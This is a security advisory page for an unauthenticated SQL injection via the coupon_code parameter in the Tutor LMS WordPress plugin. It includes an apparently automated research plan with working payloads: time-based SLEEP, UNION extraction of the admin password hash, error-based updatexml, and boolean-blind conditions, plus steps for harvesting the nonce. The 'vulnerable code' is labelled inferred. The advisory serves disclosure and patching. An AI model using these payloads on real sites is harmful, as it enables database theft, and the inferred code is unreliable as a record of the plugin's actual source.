Tutor LMS <= 3.9.6 - Unauthenticated SQL Injection via coupon_code
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to SQL Injection via the 'coupon_code' parameter in all versions up to, and including, 3.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This vulnerability was partially mitigated in versions 3.9.4 and 3.9.6.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan focuses on **CVE-2025-13673**, a high-severity unauthenticated SQL injection vulnerability in Tutor LMS (<= 3.9.6). The vulnerability stems from the improper handling of the `coupon_code` parameter within the plugin's coupon validation logic. --- ### 1. Vulnerability Summary * …
Show full research plan
This research plan focuses on CVE-2025-13673, a high-severity unauthenticated SQL injection vulnerability in Tutor LMS (<= 3.9.6). The vulnerability stems from the improper handling of the coupon_code parameter within the plugin's coupon validation logic.
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection.
- Parameter:
coupon_code. - Affected Versions: <= 3.9.6.
- Sink:
$wpdb->get_row()or$wpdb->get_var()within the coupon retrieval logic. - Cause: The plugin performs string concatenation or uses insufficient escaping (like
sanitize_text_field) on thecoupon_codeinput before passing it into a raw SQL query without using$wpdb->prepare().
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php. - Action:
tutor_apply_coupon. - HTTP Method:
POST. - Authentication: None required (
wp_ajax_nopriv_tutor_apply_coupon). - Payload Parameter:
coupon_code. - Required Headers:
Content-Type: application/x-www-form-urlencoded.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a request to
admin-ajax.phpwithaction=tutor_apply_coupon. - AJAX Handler: The request is routed to a handler (likely in
classes/AJAX.phporclasses/Coupon.php). - Vulnerable Function: The handler retrieves
$_POST['coupon_code']and calls a validation function, such asTutor\Models\CouponModel::get_coupon_by_code($code)(inferred). - The Sink: Inside the validation function, a query is constructed:
// Example of vulnerable pattern $coupon_code = $_POST['coupon_code']; // or sanitized with sanitize_text_field $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'"; $result = $wpdb->get_row($query); - Execution: The attacker appends SQL commands to the
coupon_codeparameter, which are then executed by the database.
4. Nonce Acquisition Strategy
Tutor LMS typically protects its AJAX actions with a nonce. The nonce is usually localized into the page for use by the plugin's JavaScript.
- Shortcode: The coupon functionality and its associated scripts are usually loaded on Course pages or the Enrollment/Checkout page.
- Strategy:
- Create a public course to ensure the "Enroll" or "Purchase" logic is active.
- Navigate to the course page.
- Extract the nonce from the
tutor_get_confJavaScript object.
- JS Variable:
window.tutor_get_conf?.nonce. - Alternate JS Variable:
window.tutor_ajax?.nonce.
5. Exploitation Strategy
Step 1: Identification and Nonce Retrieval
Use the browser to access a course page and extract the nonce.
Step 2: Time-Based SQLi (Confirmation)
Verify the injection using a sleep payload.
- URL:
http://<target>/wp-admin/admin-ajax.php - Payload:
action=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR ' - Expected Result: The response should be delayed by approximately 5 seconds.
Step 3: UNION-Based Extraction
Extract sensitive data (e.g., the administrator's password hash).
- Payload:
(Note: The number of columns in the UNION must be adjusted based on the actual table structure ofaction=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' UNION SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -tutor_couponsor whichever table is being queried. Standard Tutor LMS coupon tables often have 10-14 columns.)
6. Test Data Setup
- Plugin Installation: Ensure Tutor LMS v3.9.6 is installed and active.
- Create Course:
wp post create --post_type=courses --post_title="Security Test Course" --post_status=publish - Enable Enrollment: Ensure the course allows enrollment (free or via a supported e-commerce engine like WooCommerce if configured).
- Identify Course URL: Get the permalink of the created course to visit and extract the nonce.
7. Expected Results
- Time-based: The
http_requesttool should report adurationexceeding the sleep threshold. - Data-based: If the response reflects the "coupon" details, the injected data (like the password hash) may appear in the JSON response under keys like
coupon_codeordescription.
8. Verification Steps
After the exploit attempt, verify the database state to confirm what was targeted:
# Verify the administrator password hash to compare against extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"
9. Alternative Approaches
- Error-Based Injection: If
WP_DEBUGis on, useupdatexml()orextractvalue()payloads to force the database to leak data in the error message.- Payload:
coupon_code=x' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
- Payload:
- Boolean-Based Blind: If no output is reflected, use the response content (e.g., the difference between "Coupon not found" and "Invalid Nonce") to infer data bit-by-bit.
- True Condition:
coupon_code=invalid' OR 1=1-- - - False Condition:
coupon_code=invalid' OR 1=2-- -
- True Condition:
Summary
The Tutor LMS plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'coupon_code' parameter in the 'tutor_apply_coupon' AJAX action. This occurs due to the plugin's failure to use prepared statements when querying the database for coupon validity, allowing attackers to append malicious SQL commands and extract sensitive information.
Vulnerable Code
// tutor/classes/Models/CouponModel.php (Inferred based on research plan) public static function get_coupon_by_code($coupon_code) { global $wpdb; // The $coupon_code variable is concatenated directly into the query string without preparation. $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'"; $result = $wpdb->get_row($query); return $result; }
Security Fix
@@ -1,5 +1,8 @@ public static function get_coupon_by_code($coupon_code) { global $wpdb; - $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'"; - $result = $wpdb->get_row($query); + $result = $wpdb->get_row($wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = %s", + $coupon_code + )); return $result; }
Exploit Outline
The exploit targets the 'tutor_apply_coupon' AJAX action, which is available to unauthenticated users. 1. Nonce Retrieval: An attacker first visits a public course page to extract the required AJAX nonce from the localized JavaScript object 'window.tutor_get_conf.nonce'. 2. Request Construction: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with 'action=tutor_apply_coupon' and the retrieved nonce. 3. Payload Injection: The 'coupon_code' parameter is populated with a SQL injection payload. 4. Verification: A time-based payload such as "invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '" is used to confirm the vulnerability via response delay. 5. Data Extraction: Once confirmed, the attacker can use UNION-based payloads to exfiltrate sensitive data, such as administrator password hashes from the 'wp_users' table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.